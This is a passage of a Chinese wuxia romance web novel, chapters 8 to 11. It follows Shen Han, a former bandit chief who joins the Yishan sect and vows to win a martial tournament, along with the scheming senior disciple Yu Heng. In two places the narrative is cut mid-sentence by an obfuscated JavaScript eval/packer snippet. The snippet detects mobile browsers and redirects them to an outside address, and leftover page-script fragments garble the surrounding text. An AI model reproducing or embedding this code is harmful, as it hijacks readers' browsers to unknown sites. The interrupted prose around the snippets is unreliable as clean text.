沈寒恼火地磨牙,随后压下火气,道:“掌门拿我寻开心,怕是不归寨也拿你们寻开心。” 掌门笑了笑,跟着沈寒烦躁的脚步随她在殿中踱步。“沈姑娘有没有想过,又是一个风雪天,你又来到了夷山,这便是缘?” 沈寒秀气的眉毛跳了跳,心里突然有一种进贼窝的感觉。这哪是德高望重的老掌门,这分明是江湖骗子! 沈寒欲停步,却被掌门一把按住了小臂。这老东西看起来松松垮垮,劲力却不小,连沈寒此等怪力女子,都被短暂压制住了。 “力要用巧,沈姑娘根骨清奇,若是加以修炼,莫说不归寨,便是横扫武林,也轻而易举。” “你什么意思?” “沈姑娘有没有考虑过,参加栖霞会武?” 果然入贼窝了!这群一身白衣的夷山大侠,分明是拿白衣藏黑心! 沈寒想都没想脱口而出,“没有!” “喔,那算了。”掌门松开了手,抬首冲着夷心堂的雕花木门道:“薛敢,送客——” “别送客!”沈寒几乎是跳起来,一把捂住掌门的嘴。 放眼夷山,哪个弟子敢这么对掌门?掌门也被她突如其来一跳惊到,“呜呜”不知道说了些什么,全被挡在沈寒的指缝下了。 沈寒松开手,甩了甩手指,“哎呀你看你那么大年纪还是个急性子,价钱合适,这些都能商量!” 8. 善水 栖霞会武,即便是一个江湖外的人,也有所耳闻。 逢栖霞会武,栖霞山上红叶纷飞,百姓们津津乐道,朝廷也会派官员前去探听。门派无论大小,甚至是江湖散客,只要是不到而立之年的少年人,都可以参与。江湖中到底哪个门派声势渐长,哪位少侠技压群雄,都会在会武中显现出端倪。 会武甚至会影响后几年的武林局势,这也是江湖中人停止纷争维持和睦的一个微妙方式。 沈寒当然知道会武,却也不想参与。她尽可能减少抛头露面的机会,在望仙画地为牢,锁住望仙人,也锁住自己。对于沈寒来说,冤有头债有主,这是最好的结局。 可掌门开出的条件也十分诱人。 且不谈她需要夷山派的庇护。 倘若她要参加会武,她必然要学习夷山派的武功。她生来力气比男子还要大,古时那句“力拔山兮”用在她身上再合适不过。她颠沛流离多年,不通文墨,不懂武艺,过去全靠三脚猫的功夫和蛮力取胜。倘若有人悉心教导过她武艺,她也不至于在不归寨败给殷九那混账。 各取所需罢了……沈寒是这么安慰自己的。 沈寒看着掌门那张云淡风轻的笑脸,看似心无二念,沈寒却总觉得掌门脸上的笑纹里藏着狡黠。他竟是这样的老头吗?难怪教出一个惯会演戏的弟子。 夷山派完了,真的完了……沈寒默默抬头,看了看那块“夷心问道”牌匾,心里感到莫大的悲哀。悲哀之余,又觉得此地并非曾经想象那般无趣。 掌门道:“沈姑娘既然愿意留下,夷山派便会庇护姑娘安全。” “只是庇护吗?”沈寒侧身,望向夷心堂的大门,双眉微蹙神情有些坚决。 “沈姑娘还需要什么?” “我知夷山派深不可测,曾经是我短视。只是外敌不惧,悠悠众口岂是掌门一言能堵死?” 倘若掌门说留她养伤,夷山弟子兴许愿意听命。留她修习武功,甚至参加栖霞会武,怕是夷山弟子万不能接受。让沈寒参与栖霞会武,无异于承认沈寒就是夷山派的人。 如此干净的夷山派,真的要惹上沈寒这块污名吗?这些群情激愤的夷山弟子,真的能忍吗? 掌门对沈寒的话并不感到意外,只是意味深长道:“人心如流水,沈姑娘应当是清楚的。” “正因我清楚,掌门轻飘飘一句话,怕是夷山弟子不能信服。” “沈姑娘误会了。”掌门抬手,手形若舟,道:“自古治水之人,以柔克刚。水性不定,随风而动。若明确边界,分流引导,水能覆舟,亦能载舟。” 沈寒怔住,目光停在了掌门满是茧子的手掌上。不久,她嘴角勾起一抹狡黠的笑,再次行礼,是江湖儿女豪爽的抱拳礼。 “沈寒受教,多谢掌门。” 沈寒将会留在夷山甚至参加栖霞会武的消息不胫而走,没人知道是谁传出的,只知道掌门授意,师命难违,不容置喙。 翌日清晨,沈寒见过各位宗师。每个人面色各有不同,有的面若春风,有的则吹胡子瞪眼,却无一例外站在掌门身后。这便是沈寒想要的,她要这些人不仅站在掌门身后,也要站在自己身后。只有这样,她才能与背叛的殷九周旋下去。 沈寒同掌门定下盟约,一方提供庇护,另一方将代表夷山参与栖霞会武。 沈寒长舒一口气,心却并未真的放下来。 掌门同沈寒道:“我夷山弟子虽嫉恶如仇,却也没有害人的心思。沈姑娘大可放心。” 沈寒戏谑地勾唇一笑,“这便能放心了?不够!” “沈姑娘想怎么做呢?” “就如掌门所言,明确边界,加以分流。” 话罢沈寒抱拳离去。 她推开夷心堂的大门,寒冬凛冽的风一股脑涌了上来,撕破了回忆,反复刮着沈寒那张惊艳的面容。 她没有着急离去,反而在夷心堂前的石阶上站定。 长阶下正在上早功的弟子本就因沈寒参与栖霞会武之事有所议论,见到正主站在他们面前,再也没有心思练剑,议论纷纷的同时,无数目光上下审视着沈寒。 沈寒依旧穿的是那单薄的练功服,风吹过时形可见骨。不归寨素来奢靡,美酒佳肴胜过官府,即便如此沈寒依旧是个身形瘦弱之人。在乱世之中,一个身负美貌、怪力气的女子,真不知这一切天分于她而言是福还是祸。 每个人都想撕破沈寒美丽的外表,给她龌龊的魂魄定罪。可他们也察觉,如今的沈寒和曾经打上夷山的山匪,似乎判若两人。 郁珩亦是站在石阶下仰望着沈寒,不知为何,目光似乎与旁人有所不同。她好像在什么地方也见过这样的目光,沈寒也说不清楚,只觉得陌生又熟悉。 眼前的状况让一直候在夷心堂外的薛敢有些慌乱,以为沈寒听了闲言碎语,要寻这些夷山弟子不痛快。忙向前一步道:“沈寨主,咱没必要和师弟师妹们较劲是不是?你以后要长住在这,处好关系是正经。” “我明白。”沈寒无惧眼前的审视,目光绕开郁珩,面向所有人,朗声道:“大家对沈寒有所顾虑,沈寒清楚明白。风光时候称作河神,跌入尘埃化作恶鬼,逼至绝路唯有夷山愿意为沈寒敞开大门。我曾经的亵渎,让沈寒无颜面对大家。昔日沈寒无知,今日在此,向夷山派历代先贤,向各位少侠——谢罪!” 声音清越,掷地有声。 众人还没反应过来这个妖女唱的哪一出戏,只见平日傲气凌人的河神屈膝,冲着泱泱夷山弟子,也是冲着山门方向那断了的石剑,撩开衣摆,恭敬一大拜。 一时之间,所有人面面相觑。若说她想求怜悯,大可撒泼卖惨,如此郑重反倒真诚。 无论是不是做戏,她都全了夷山派历代传承的体面。一代枭雄,能当众抛却颜面,试问座下众人有几个这般能屈能伸。 薛敢怔在原地,拦也不是,不拦也不是。长阶下人群中的郁云笙气得脸色发白,郑清商双眉微蹙,目露担忧。而郁珩不动声色,只是那双淡泊的双眼微微眯了下。 沈寒起身后,嗓音诚挚得仿佛透过肺腑,身形都有些颤抖。 “掌门所托,沈寒不敢辜负。沈寒立誓,若是未能在栖霞会武取得魁首,为夷山派一雪前耻,沈寒愿引罪自戮!” 武林人士重誓言,最多不过自废武功,少有人立下如此狠的誓言。夷山派多次栖霞会武败阵而归,想赢简直是天方夜谭。沈寒此言,和给自己判了死刑有何区别? 一席话如同惊雷,在人群中炸开。夷山弟子交头接耳,议论纷纷。连不动声色的郁珩亦是眉毛跳了跳,一双深不见底的眼眸打量着沈寒。 薛敢见状,趁机摇臂呐喊,“好——!” 众人只看到这个单薄到羸弱的女子,拿自己的身家性命愿为夷山搏上一搏,无论是真心信服,还是被气氛感动,纷纷跟着摇臂呐喊。 人群中郁云笙气得跺脚,想呵斥住周围的弟子,声音却被人声盖了下去。 此时此刻,沈寒收敛了锋芒,她心知肚明,到底是败走的枭雄,还是人人喊打的水鬼,无非在人心。 栖霞会武?引颈自戮?荣誉信仰?这些虚无缥缈的东西,傻子才会信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353307|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到这里,沈寒看着阶下亢奋的一群傻子,嘴角忍不住微微上扬。这表情转瞬即逝,她却觉得那熟悉的目光又扫上来了。 郁珩站在阶下,双眉紧皱凝望着她,仿佛在说:演得不错,但过犹不及—— 沈寒心头一凛,随即扬起抹平和的微笑。 自己有多坏郁珩一清二楚,知道又如何,他郁珩有证据吗? 想至此,沈寒心安理得地回望了过去。果不其然,对方也并未多注视自己。 许是最大的担子卸下了,沈寒的伤势好得越来越快。 五师父李飞云为沈寒诊脉,沈寒已经恢复了七成,伤口都在愈合,唯独掌心横卧着一条狭长的刀痕迟迟不能愈。 这是她深夜逃出不归寨时殷九留下的。殷九的随身宝镰是杀人利器,不知为何伤口迟迟不能长合,连李飞云也难以医好,只道是镰上有奇毒,阻碍了伤口愈合。 断定她好得差不多后,李飞云便提出将她移出苓庐。 这很明显是不接纳沈寒的意思。不过李飞云本就不算什么功夫绝世的宗师,夷山五师,缺一个还有四个呢,沈寒并不往心里去。 只是沈寒到底归谁教化,成了一大难题。 临近除夕,陆续飘了几天的雪。树枝上、山道上都挂了白,山中的溪流也结了厚冰。一片银装素裹,远离俗世,恍若仙境。 沈寒倒觉得夷山真是个离奇的地方,她想打听外面的事情,使尽浑身解数也不能得逞。 依照殷九的性子,万不会放她在外逃窜,甚至已经能猜到她躲在夷山。县令与不归至今按兵不动,沈寒打听不出原因。 这五日,她赖在苓庐,一边承着李飞云的白眼,一边帮忙打杂。苓庐弟子本以为她是个添乱的,谁知沈寒竟一点山大王的恶习都没有,干起活来比谁都利索。本来大家对她不顺眼,她活干多了,也顺眼了些。 于沈寒而言,无非忍之一字,她慢慢参悟。 由于大雪过后封山,许多杂活都停了,沈寒到底去哪也尘埃落定。 薛敢来接沈寒搬院的时候,还颇为不舍。得了个这么麻利的美人在苓庐帮工,更方便他偷懒了。且沈寒性情爽直,两个人很是聊得来。 沈寒没有什么行李,只有一个小布袋,装了李飞云开的几瓶药。她一身轻松走出苓庐,心想终于不用看李飞云那张苦大仇深的死人脸了。却不想来接她的除了薛敢,还有一朵黑心莲。 她当即心里咯噔一声,捋顺了心气才继续走出去。 薛敢道:“你磨磨蹭蹭什么?是不是舍不得我?” 沈寒笑道:“舍不得你,整个苓庐最舍不得的就是你。” “美人,少说这些花言巧语迷惑我!旁人名字你记得几个?不过也好,搬出去咱才好玩,老在我师父眼皮子底下,我什么都不敢干。” 薛敢口中的玩,自然不是寻常的玩。偷酒上树都是常事,最重要的是,薛敢说不定能带沈寒下山! 不过身旁还立着夷山最严厉的大师兄,沈寒不禁抬眼望去。 郁珩并未多言,留给沈寒一个不近人情的下颌角。他俊美得惊人,却总是透出若有若无的威慑感,对这张脸再大的好感也化作反感了。 郁珩冷冰冰伸过一只手接过了沈寒的小包裹。薛敢这才反应过来,又把包裹从郁珩手里接过去。 “给我分到哪去了?”沈寒突然觉得面上有些不好意思,转而问道。 “洗尘斋。” 开口的不是薛敢,而是郁珩。他说完,那双薄情的眼眸望向沈寒,“本派宗师玄宁师父所居之处。” 9. 七寸 “玄宁……宗师?” 沈寒琢磨良久,脑海中在一众老东西里搜罗出一个格外出尘的老东西。 那日在夷心堂,玄宁算是对沈寒较为宽和的一位。只是他寡言少语,沈寒也无从揣摩其性。只记得他那光洁的脸庞,光洁的双眼,光洁的脑门…… 是的,沈寒之所以对玄宁宗师印象深刻,因为玄宁是颗光头。 她对佛门没有好感,心里也奇怪夷山派为何会混入一个佛子。 郁珩目光重新落在沈寒脸上。 她是个极美的姑娘,肤白若雪,双眸黝黑,杏目天生含着水。顺着这双眼睛看过去,不自觉就会开始怜悯她的一切。 郁珩意识到自己看了许久,回过神叹了口气,“玄宁师叔素来深居简出,戒律清严,不比苓庐松散。” 松散个屁!李飞云天天让她打杂,把她当牲口使! 沈寒苦笑了下,兜起手故作乖巧,默默随着左右二人向洗尘斋走去。 雪覆青松,径隐痕消。 天色惨淡,压得很低。大雪将夷山的沟壑抹平,夷山环抱下,走在其中人也格外渺小。 离了苓庐走上一段,路上夷山弟子也多了起来。许是刚练功结束,每个人都抱着剑,身上裹着雪白的冬衣,脸上红扑扑的挂着汗水。 沈寒不禁想,这样祥和的早晨,许是他们最平常不过的一天吧? 只是夷山一个避世远居的门派,又怎么会有钱给弟子们做冬衣?夷山应当是有田产,尽管如此,也不足以支撑这些弟子的生活。 难道说,那些个道貌岸然的老东西贪了不少钱? 沈寒正揣测着,一旁几个弟子的聊天声也闯入了耳畔。 “看看看!是那个水鬼吧?” “真的吗?竟然这般好模样?” “模样不好怎么称得上妖女呢。你别小瞧她,听闻她能倒拔垂杨柳,拳打三师叔。” “嘘嘘嘘!小点声!” 沈寒嘴角抽了抽。倒拔垂杨柳不至于,拳打三师叔岳震那个老东西嘛……可以考虑练练。 又听另一帮夷山弟子议论。 “引颈自戮?若是到时候她不死,又该如何?” “那就绑她去寒山寺,她自己立的誓言,就是寒山寺高僧也不能说什么。当着众武林豪杰的面杀了她,也算是为世间除一害!” “听说她和大师兄一般年纪,怎么能坏得这么惊天动地!” “自古正邪不两立,你要是能理解她,换你去做水鬼啊!” 沈寒深吸一口气,只觉得额头青筋一阵接一阵的跳。 薛敢见状吆喝道:“说什么呢!” 几个弟子见到薛敢本是不怕,却看到薛敢身后的郁珩,畏惧地抿了抿唇,快步离去了。 薛敢对沈寒笑嘻嘻道:“美人,别生气。所谓木什么于林,风就呼呼的吹你。” 郁珩刻板纠正道:“木秀于林,风必摧之。” “啊!师兄说得对,就是这样。你若是栖霞会武夺魁,名扬四海,全天下人都要议论你呢。” 沈寒冲二人皮笑肉不笑,“无所谓,背后嚼舌根的人烂嘴巴。” “对了!”薛敢灵机一动,道:“你真的能倒拔垂杨柳吗?” 眼前是一座三面绝壁环绕的院子,却无墙无篱,唯有门前两棵古松,枝干刚劲盘虬作门户。因洗尘斋与苓庐不远,苓庐上有天然的温泉,恰好泉音若有若无能飘至此。洗尘斋端正三字挂在檐下,可见院主一丝不苟的性情。 薛敢把包裹塞到郁珩怀里,可见平日里他也不是真的怕郁珩,多数还是亲昵的。 院前有个空木桩子,他兴冲冲地跑到木桩子前,趴下搭上一只手道:“来,试试劲力。” 沈寒倒是有些犹豫。 这个薛敢并非两面三刀之人,率直纯真,热情灿烂。可她实在不想在人前展露自己的力气。 沈寒正想找个借口把薛敢糊弄走,看见郁珩仙人似的走到薛敢跟前,猝不及防抬起脚,踹垃圾般把他蹬到地上。 “大师兄!你踹我作甚!” 郁珩垂眸,指尖拂去衣服上并不存在的灰尘,“力发于外,终是表象。其心不定,气劲如山岳亦如流沙。” 说的是薛敢,也似乎在点拨沈寒。 沈寒古怪地瞧了他一眼,此人紧闭双唇,再不多吐露一个字。 玄宁宗师深居简出,此时在后山闭关修行,并不在洗尘斋。于是薛敢迈入洗尘斋的大门,忙前忙后帮沈寒布置起来。 这其中,也听了玄宁宗师的一些趣闻。 原来这位宗师英年落发,因生得俊美却头发光光,妻子便也弃了他。多年来他静思己身,索性拜入佛门。 玄宁鲜少收徒,沈寒虽不算徒,也是他门下的稀客了。 薛敢收拾完后,沈寒再三感谢,送他离去。 薛敢活蹦乱跳出了屋子,屋内郁珩却石像似的,没有打算离开的意思。 沈寒扶着屋门一扬手,“郁师兄?请?” 郁珩淡淡扫了她一眼,“你不是有话想问我吗?” 门口的薛敢一个急刹,僵硬地转身,眼前二人,一个似水墨画,一个似牡丹花,较起劲来也无比养眼。他只觉得有戏可听,便转身蹲在墙根上听墙角。 屋里刚刚烧起火,并不算暖。 沈寒眼神飘忽,道:“为什么你要来送我?” “看住你。”郁珩平静道。仿佛监视沈寒是什么光明磊落的事情。 沈寒道:“我就知道。山下的消息是你封锁的吧?处心积虑不让我听到,你就这么想让我归顺夷山?我说过我会参加栖霞会武,我沈寒言出必行。” “你并非言出必行之人。” 沈寒怔了怔,从话里听出些委屈的意思。她猛然间想起,自己还真戏耍过郁珩。 那时她把郁珩掳到不归寨,看着这端正的少侠秀色可餐,自己又没少饮酒,便想逗他玩。若是他愿意对自己言听计从,沈寒就放了他。然而连逗三次,沈寒也没放他,是郁珩自己挣脱了枷锁跑了。 沈寒深吸一口气,“师兄你还挺记仇哈。” 郁珩不言,只是垂眼低低地望着她。不知为何,长久被看下去,氛围开始变得古怪。沈寒浑身不舒服,觉得此人又熟悉又暧昧,只好后撤一步。 沈寒正色道:“无论如何,参加这栖霞会武,若能名扬天下站得更高,对我绝非什么坏事,你不必担心我出尔反尔。倒是你,行为可疑。” 说着,沈寒端详着郁珩的脸,一步一句说起来。 “若我知道山下情况,下山的心思起了,我便有可能做出离开夷山的决定。我仔细想想,留下的决定是我做的,山外的讯息却是你给的,我只有留下这一条路可选。说到底,是你不希望我离开夷山。可我身处俗世的漩涡,不是你们江湖中人。你不希望我离开夷山无非是想将我作为夷山入世的破口。我也看出来几位宗师各有自己的立场,无非是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353308|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支持入世与不支持入世两种。而你,令人尊崇的大师兄,光风霁月的夷山少侠……” 沈寒站定在郁珩面前,离他很近很近,几乎鼻尖相贴。她能嗅到郁珩身上清冷的松香,她的目光贪婪狡黠,要撕破郁珩的假面孔,映照出他心里的欲影。 她想,她算不算捏住了这位玉面少侠的七寸。 沈寒一字一顿,吐气幽兰,“你真的足够中立吗?” 郁珩生得鸦羽般的眼睫,情绪可以完美藏起。他嘴角似是噙着一抹笑,回首望了望空荡荡的门外,竟做出了出格之举。 他并未真正触碰她,只是指尖抵在她娇俏的颌角,十分冷静克制的动作,虚虚一抬。这一刻,圣人的表象崩坏,比切实的触碰更令人心脏骤停。 是了,这才是真正的郁珩。 沈寒激动,狂喜,却又紧张地不知道如何应对。因此眼底也泄出一丝慌乱。 “中立如何?”郁珩的嗓音压得很低,冰冷而又滚烫,“乱世洪流,谁敢言对错?” 他捏着沈寒,那张娇艳的脸彻底化作掌中猎物。沈寒咬紧牙关,伶牙俐齿僵在喉间。 可最后他清规戒律的弦临时收紧,他轻轻松开了手,飘似的离去。 走前,他涵养很好还不忘记关门,只给沈寒留下一句,“明日卯时早功,禁止迟到。” 郁珩转身,目不斜视,唤出躲着的薛敢,“出来吧,听够了吗?” 薛敢连滚带爬起来,跑到郁珩跟前,“够了够了,多谢师兄不责罚我听墙角!” 本是要责罚的,这么说郁珩倒是不好责罚了。 师兄弟二人并行出了洗尘斋,郁珩想起什么似的,忍不住回望了一眼。 简朴的小屋子上堆着雪,不知道里面的姑娘是何神情。想起她眼底流露出的慌乱,郁珩心里十分欢喜。 薛敢虽是李飞云爱徒,与郁珩不是同门,却比旁人都要亲近大师兄些。只因为他是薛家的少爷,拜入师门父亲没少交束脩,这些年陆陆续续也找借口给夷山派添了不少财。 财神爷自然天不怕地不怕。接触久了,他也明白郁珩只是性子冷,并非真的毫无人性。 “师兄,你怎么不给沈师妹解释一下?若非你舌战群雄,我师父和三师叔岂会准许沈师妹留下?” “多言数穷。” “多言数穷是这么用的吗?唉,师兄你等等我啊!” 这一年是景平元年冬末,除夕将至。 人人都知道昌和皇帝是为何退位,却都闭口不谈,粉饰太平。 兵荒马乱,狄人撕破了伪善的面孔入侵中原,百姓人心惶惶,每天都有不同的战报传来。 这注定是个哀年。 不知战火会不会烧至望仙这样不足为道的小县城,战争似乎离望仙人很遥远,可细听下来,却又近在眼前。 烛火不安地跳动着,县令张固放下手中的书,仰头望向窗外。 敲门声响起,小厮通报了来人,张固匆匆披上大氅,顶着冷起来到前厅。 张固爱梅,隆冬之下,前厅瓷瓶里插满了红梅。 前厅灯火幽微,来人背身而立,身影在月下拉得很长。他默默转身,露出了一张精雕细琢的侧脸。 郁珩见到张固,并未躬身长鞠,只是将手从氅衣中探出,一个简单的礼,将二人立场分明。 张固呼吸一滞,说话间白汽飘散,“郁少侠,深夜来访,可有要事?” “河神在夷山。” 10. 功课 张固当即一怔,方伸出的客套的手也悬在半空中。 他是个年轻人,考取功名后,因为性情过于刚直,得罪了不少人。 前任县令郑铎身死,传闻是被一少女山匪沉了河。此事本应出兵剿匪,奈何朝中连年战争拖得早已筋疲力尽,干脆将剿匪之事丢给新县令。张固刚得罪了朝中贾相一党,一个文官就这么走马上任开始筹备剿匪了。 这一剿就是两年,毫无建树,朝廷却也将此事连同张固一同抛诸脑后。 大梁重文轻武,对这些武林豪杰、绿林匪徒,一贯都是贬低,张固也不例外。 在望仙两年,他却彻彻底底改观了。 他依旧瞧不上这些人,却不敢瞧不起堂堂濛水河神,更不敢瞧不起眼前这位一身风花雪月的少侠。 张固收回手,僵住的表情一点点化解,笑道:“郁少侠如此坦诚,莫非是有意投诚?” 郁珩侧身而立,整个人显得高深莫测,“不归寨易主,寨主乃是曾经河神座下第一爪牙殷九。殷九性情诡谲,迟早是个祸患。” “你想联合县尉司剿匪?” 如今巡检军不在望仙,望仙本身并无储备乡兵,县尉司那百余人若想独立剿匪,无异于痴人说梦。可若是联合夷山,张固倒是心里多了几分信心。 只是夷山派素来避世,不愿与朝廷联手。此次郁珩造访又是月夜,定然不是派内所愿。 张固心怀不安,他不愿意轻易掀起这场争斗。 郁珩道:“知县大人怕了?” “不归恶名,张某不怕,可投鼠忌器,张某在意的是城中百姓!张某听闻河神曾是十年前雪夜逃出的一抹怨魂,可见若出杀招,当一击即中,斩草除根。今有河神火烧望仙,明日就会有殷九复仇屠城。望仙百姓赌不起。” “知县大人何必亲自出手?即便河神不现身,河神到底身在何处,你我清楚,不归寨更是心知肚明。出了事也是咎由自取,何来复仇之言?” 风吹过梅枝,沙沙作响间,张固只觉后背一凉。他越发揣摩不透眼前之人的想法,只觉得他绝不是普通的夷山弟子。起码那颗剑心,不够纯白无暇。 张固不敢轻信这样的人,与其信他不如信夷山派那块百年牌匾。他脱口而出,不再伪装,质问道:“如今中原风雨飘摇,国难当头,夷山派剿匪都要左右逢源,实在有愧武林名门的名号。少侠若想剿匪,还请告诉我一个准话,到底是继续避世逍遥,还是共赴国难?” 年轻县令的性情倔强,提及国难更是热血沸腾,可这些在郁珩面前,和落下的一片雪一样,轻飘飘的不值一提。 郁珩淡漠道:“听闻先帝喜爱园林,于是大兴隆园,倾尽举国之力只为从江宁府运过去一块巨石。又闻先帝好奢靡华服,美锦商会行遍天下,贪污恶吏数不胜数,其中无数无辜裁缝之家受到牵连。奸臣当道,民不聊生,不还百姓一个清平盛世,反倒惦记前朝便失去的三州五城。联狄灭戎养虎为患,引火烧身咎由自取。这样的国难,是他石梁朝自己的难。不是天下百姓的,更不是夷山的。” 这真是大逆不道的诛心之论! 张固被他说的身躯一震,道:“即便武林和朝堂泾渭分明,狄人入侵中原,武林豪杰也纷纷出手相救。忠君爱国本就是臣子之道,你可知你所说的话,足令本官治你死罪!” “倘若君主不爱子民,千万子民也可判处君主死罪。” “住口!休要妄言,你疯了!” 张固已然不是激愤,他开始感到恐惧。这样惊世骇俗的言论在郁珩口里说出,完美无瑕的形象也出现了裂痕。这根本不是什么雅正的少侠,分明就是个愤世嫉俗的疯子。 张固大口喘息,冷气反复拍打着喉管,却也镇不住他的恐慌。 他颤声道:“郁珩,你……想反吗?” 相比张固,郁珩平静得多,仿佛这些是是非非他早已看淡,方才所言也不过是一次普通的交谈。 “知县大人纠结这些,不如想想,一朝之官剿匪怎能依赖侠道。倘若天下太平,民间无冤情,无论侠客还是匪徒自然销声匿迹。” 到底反还是不反,郁珩却始终没有道出答案。 郁珩了解张固这个人,愚忠是他多年苦读的结果,可爱民却是秉性。话已带到,张固自然会做出正确的选择,于是他转身,面对着院子里堆积的雪默了默。 果然,张固道:“即便利用河神引不归寨打上夷山,怕是也难以稳赢。” 郁珩语气里带了几分轻蔑,“不敢冒险?世上何来十拿九稳之事?” “战场在夷山,对夷山派有什么好处?等等……”张固哑然。 有好处。 夷山若与不归寨相斗,算是彻底将夷山派拉下战场。倘若郁珩有反意,这正是一个恰到好处的契机。 此人当真阴毒可怕!竟拿师弟师妹的性命作为赌注! 可张固仍然愿意联手,只因这的确是重创不归寨的一个契机。恰如郁珩所言,世上没有十拿九稳之事,不归寨在一日,百姓就要担惊受怕一日。 语尽于此,郁珩轻轻点地,如一阵风般离去,没有留下丝毫痕迹,只有地上两个孑然的脚印。 张固仓皇对着郁珩离去的方向唤道:“事后河神如何处置?” “梁狄结盟攻戎,三州五城尚未纠缠清楚归属。你我不算结盟,河神归谁,自然战后各凭本事。” 郁珩的声音不知从何处而起,很快消散在寒风中,只留下张固一人矗立在院中。 张固隐隐感到,河神固然是一害,郁珩其人,玉面恶鬼,才真真是世间一害。 冬日里的日头起的晚,鸡鸣时窗外还是漆黑一片。 屋里的炉火不知何时灭了,沈寒冻得浑身发抖,抓起单薄的练功服,发觉衣裳经过一夜的冰冻,也已经僵了。她顾不上太多,抖了几下披在身上,开始摸黑点灯穿鞋袜。 往日这样的冷衣服她必不可能穿上身,这个时辰她也必不可能起。想到如今还要降尊屈贵晨起上劳什子早课,沈寒心里便一肚子火。 她方收拾好,发现不知何时,桌上多了一封信笺,字迹端正,落款正是玄宁宗师。 “为师闭关半月,爱徒随众师弟师妹修行,戒骄戒躁,勿挂念我。另有功课,爱徒记得修习。” 沈寒气笑了。 自作多情的老秃驴,谁惦记你了,谁是你爱徒了。 她抖了抖信笺,随之掉出另一信笺。沈寒耐着性子拆开来,信笺套信笺,连拆几层她已经开始恼火。 最后一层信笺里,是一张草率的图,画了崎岖的山崖和一株兰草。 后有玄宁留下的小字: 后山兰,泉蚀其根,导水东流,九步而止。切记:莫问兰,莫谢松,但观掌心。 简单来说,就是——后山的兰花要死了,你快去救活它! 沈寒默了默,并未解其中意。她的确身负旧伤,虽不严重,旧伤在手心时不时疼一下也是碍事。 沈寒是个不合群的性子,见到这个字条,只纠结了片刻,便把早功抛却脑后了。 夷山弟子忙着去夷心堂前的广场上早课,因此后山的弟子并不多。 穿过寂静的山路,沈寒来到了后山,面向绝壁,对着玄宁留下的草图,在岩穴中找到了一株濒死的幽兰。 这寒天冻地,有兰草生长已是奇事,而这花生长于绝壁,吸石髓而生,就此枯死实在可惜。 若是有寒泉侵蚀花根,不疏导泉水,必然花萎根腐。可若是要引导泉水,沈寒思量许久,想到用竹管凿石穿水的法子。 这是个长功夫,玄宁可真给她找了个烂活。 自此后,沈寒经常翘了某个功课来后山凿石穿水。 沈寒隐隐 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此事之后,当事弟子纷纷前去夷心堂告状,遭到了沈寒最惨烈的打击。 后厨做饭,也是打杂的重要事务。 望仙处南境,嗜甜不嗜辣,当地人只稍吃一点便辣得脸红脖子粗。 令夷山弟子惊诧的是,沈寒这“阴湿水鬼”竟擅长庖厨,做得一手好菜。 中午时分,饭香飘了出来,练了一上午功夫的夷山弟子闻到便饥肠辘辘,捂着肚子冲到屋内抢饭。今日的饭也十分诱人,绿糊糊一大片裹在鱼脍上,散发着特别的异香。 “吃鱼啊!”郁云笙兴冲冲地说着,拉着郑清商坐下。 后厨忙活的弟子探出头来:“是啊!是沈师妹亲自去冻住的河里捞的呢!这么冷的天捞这么多鱼,她手都冻坏了。” “喔,有什么了不起。”郁云笙念叨着,心里却对这鱼十分满意。 郑清商笑道:“既然沈师妹这般用心,你也别为难她了。本来让她劈那么多柴,就是你存心刁难。现在闹到掌门那里,若不是师父护着,你又要挨罚。” “我怎么刁难她了?最后爹爹也没责罚我不是?师姐你就是心太善了。”郁云笙说着,齐了齐筷子,“不过鱼脍还有这种做法,也是奇思妙想。” 她没有注意到,薛敢和郁珩看着眼前的美食对视了一眼,默默搁下筷子。 沈寒站在后厨,他们说的话她能听个一清二楚。她手还滴着水,袖子半撸起来,背靠墙壁闭上眼,心里暗数:三……二……一 郁云笙的尖叫声撕破了夷山的一片祥和,紧接着夷山弟子的惨叫声接连响起。 他们一个个涕泗横流,只觉得被辣得无法呼吸,连素来端庄的郑清商都捂着嘴咳嗽不止,小声叫辣,仪态尽失。 凶手总喜欢回到案发现场,沈寒走出后厨,看着自己的杰作,只觉得痛快,露出了幸福的笑容。 河神嘛,作祟才痛快。 郁云笙崩溃之余见到沈寒得意如此,怒骂道:“你做的什么饭!贱人!” 沈寒得意道:“不知好歹,这可是东瀛美味。我好不容易托人弄到的黄芥籽做给各位师兄师姐,大家可不要浪费啊。” “你……”郁云笙呛得说不出话,眼泪随着辛辣之气大颗大颗往下掉。 沈寒从未下过山,不用想都知道芥菜籽是哪来的。郁云笙瞪着薛敢,抄起筷子砸过去,薛敢连忙跳起,不小心带倒了一片凳子。 薛敢双手高举,“郁师姐,不是我啊!” “不是你还能有谁?” 整个屋子彻底乱成一团,沈寒伸了个懒腰,慢条斯理坐下,用筷子夹起一小块鱼肉,沾了团黄芥末在口中细品。 嗯……不愧是东瀛美食,的确美味。 11. 莲影 芥籽一事将十四名夷山弟子辣得够呛,一顿严惩沈寒是躲不过了。 陪她挨罚的还有听了她的谗言去山下寻到芥籽的后厨师兄。 挨罚并非什么苦事,当年初入不归寨,只要稍有不慎便是一顿皮肉大刑,沈寒并没有感到恐惧。只是沈寒没想到,名门正派自有自己歹毒的法子——烈日桩。 烈日桩是夷山派最常见的惩罚手段。 